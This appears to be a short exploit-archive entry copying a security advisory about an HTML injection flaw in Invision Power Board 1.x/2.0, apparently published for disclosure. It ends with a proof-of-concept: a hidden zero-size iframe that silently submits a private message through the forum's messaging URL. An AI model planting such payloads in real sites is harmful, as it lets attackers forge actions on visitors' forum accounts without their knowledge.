Invision Power Board 1.x/2.0 - HTML Injection

source: https://www.securityfocus.com/bid/12888/info

Invision Power Board is reported prone to an HTML injection vulnerability. This issue arises due to insufficient sanitization of user-supplied data.

It is reported that due to a lack of filtering of HTML tags, an attacker can inject an IFRAME through an HTTP POST request.

All version of Invision Power Board are considered vulnerable at the moment.

This BID will be updated when more information is available. 

<iframe id="frame1" name="frame1" frameborder=0 width=0 height=0
src="http://www.example.com/forums/index.php?act=Msg&CODE=04&MODE=1&entered_name=Woody&msg_title=hi&Post=I%20love%20you!">
</iframe>